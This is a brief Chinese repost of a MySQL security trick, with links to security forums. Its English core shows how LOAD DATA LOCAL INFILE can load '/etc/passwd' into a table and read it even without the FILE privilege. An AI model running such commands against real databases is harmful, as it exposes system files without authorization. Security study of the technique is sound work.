Reading files in MySQL with file_priv = no

来源:互联网 发布:临汾直销软件 编辑:程序博客网 时间:2024/06/05 19:36

好吧,我是在法客上看到园长发的这篇文章,然后追到乌云,然后追到源头,觉得很是实用,所以就贴出来了。


All we know for reading files in MySQL we need file_priv permission.
But there is way for reading files without this permission.

We can create new table and fill this table with data from file:

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '';
and
select * from test;


参考:http://sb.f4ck.org/thread-18477-1-1.html

      http://zone.wooyun.org/content/12175

      https://bugscollector.com/tricks/

0 0